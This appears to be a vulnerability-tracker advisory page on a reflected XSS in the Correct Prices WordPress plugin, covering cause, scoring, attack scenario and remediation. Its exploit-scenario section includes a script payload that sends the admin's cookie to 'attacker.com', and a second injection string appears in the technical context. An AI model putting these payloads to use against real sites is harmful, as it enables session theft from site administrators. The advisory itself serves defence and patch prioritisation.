Skip to main content

Correct Prices Plugin CVE-2026-8627

| EUVDEUVD-2026-31023 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-20 Wordfence GHSA-m24w-6mjv-3gj2
6.1
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify WordPress site running Correct Prices ≤1.0
  2. Delivery
    Craft URL with malicious path-info appended to plugin page
  3. Exploit
    Deliver crafted link to target via phishing
  4. Install
    Victim (admin) clicks link and page renders
  5. C2
    PHP_SELF echoed unsanitized into form action
  6. Execute
    Injected JavaScript executes in victim browser
  7. Impact
    Session cookie or CSRF token exfiltrated to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The target WordPress site must have the Correct Prices plugin (versions up to 1.0) installed and active, and the correct_prices_page() function must be reachable via an HTTP request - this function is rendered on the plugin's settings or pricing page within wp-admin. The CVSS vector PR:N confirms no authentication is required of the attacker to craft the malicious URL, but UI:R confirms that a victim (typically a logged-in WordPress user) must be socially engineered into clicking the crafted link. The injected script executes in the victim's browser session, not the server; impact is limited to the victim's browser context (Changed scope, S:C). Exploitation is further constrained by the fact that the vulnerable page is typically an admin-area page, meaning the most impactful exploitation requires tricking an authenticated WordPress administrator rather than any arbitrary site visitor.

Impact

The CVSS 3.1 base score of 6.1 (Medium) is consistent with a reflected XSS with Changed scope (S:C) - meaning the injected script executes in the victim's browser context rather than the server, enabling cross-origin impact such as session token theft from other WordPress pages. Attack vector is network (AV:N), complexity is low (AC:L), and no privileges are required (PR:N), making this trivially exploitable from the network once a suitable victim is identified. The single meaningful friction is user interaction (UI:R): the attacker must persuade a user to click a crafted link, which is typical phishing territory. No EPSS score was provided in the input data, so probabilistic exploitation likelihood cannot be quantified here. The plugin has a limited install base (niche pricing tool) which reduces population-level exposure, but any WordPress site running version 1.0 or below is fully exposed. This is not a KEV-listed vulnerability, and no POC was identified, consistent with a lower real-world priority - but the low attack complexity means exploitation is straightforward if a target is identified.

Exploit ScenarioDerived

An attacker identifies a WordPress site running the Correct Prices plugin and constructs a URL to the plugin's admin page with malicious JavaScript embedded in the path-info segment (e.g., appending /"><script>document.location='https://attacker.com/?c='+document.cookie</script> after the script filename). The attacker then sends this URL to a logged-in WordPress administrator via phishing email or social media. When the administrator clicks the link and the page renders, the unescaped PHP_SELF value injects and executes the script in their browser, potentially exfiltrating session cookies or performing actions as the authenticated user. No public exploit code was identified at time of analysis, though the attack pattern is well-understood and trivially constructable from the description alone.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 20, 2026

Reflected Cross-Site Scripting in the Correct Prices WordPress plugin (versions up to and including 1.0) exposes any site running this plugin to script injection via crafted URLs. The correct_prices_page() function writes the raw value of $_SERVER['PHP_SELF'] into a form's action attribute without calling esc_url() or esc_attr(), allowing an attacker to break out of the HTML attribute context and inject arbitrary markup. CVSS vector PR:N confirms no authentication is required from the attacker, though exploitation is limited by a required user interaction (UI:R) - a victim must be tricked into following a specially crafted link. No active exploitation has been confirmed (not in CISA KEV) and no public exploit code was identified at time of analysis.

RemediationAI

No vendor-released patch identified at time of analysis - the references point to the Wordfence advisory and the vulnerable source code in the WordPress trac browser, but no patched plugin version is confirmed. Site administrators should immediately deactivate and remove the Correct Prices plugin until a patched release is available. If the plugin is business-critical and cannot be removed, a compensating control is to implement a Web Application Firewall rule (such as Wordfence's built-in firewall or a network-level WAF) to block requests containing angle brackets or JavaScript event handlers in the URL path-info segment; note this is a partial mitigation and can be bypassed. Additionally, disabling PHP's ability to expose path-info (via cgi.fix_pathinfo=0 in php.ini on applicable server configurations) may reduce the attack surface but is environment-dependent. Plugin developers should apply esc_url() around $_SERVER['PHP_SELF'] when output into a URL attribute context per WordPress coding standards. Monitor the Wordfence advisory URL for patch availability.

Affected VersionsENISA

Correct Prices 0 ≤1.0

Affected Packages

euvd correct_prices no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation - Reflected XSS). In PHP, $_SERVER['PHP_SELF'] returns the filename of the currently executing script including any path-info appended to the URL. Because the affected correct_prices_page() function (visible in the trac browser at trunk/correct_prices.php line 134) injects this value directly into an HTML form action attribute without escaping, an attacker can append a path segment such as /wp-admin/admin.php/correct-prices%22><script>payload</script> to break out of the attribute and execute arbitrary JavaScript in the victim's browser session. The WordPress plugin is authored by lykich and tracked under CPE cpe:2.3:a:lykich:correct_prices:*:*:*:*:*:*:*:*. The correct fix pattern in WordPress is to wrap PHP_SELF output with esc_url() for URL contexts or esc_attr() for attribute values, as mandated by WordPress coding standards.

Know when Correct Prices gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Primary rating from Vendor (Wordfence) · only source for this CVE.

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Correct Prices plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the $_SERVER['PHP_SELF'] variable in versions up to and including 1.0. This is due to the correct_prices_page() function echoing $_SERVER['PHP_SELF'] into a form's action attribute without any input sanitization or output escaping (such as esc_url() or esc_attr()). Because PHP_SELF reflects attacker-controlled path-info appended to the script URL, an attacker can break out of the attribute and inject arbitrary markup. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a specially crafted link.

Threat Intelligence Overview

EPSS Score
0.1%
Top 78% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy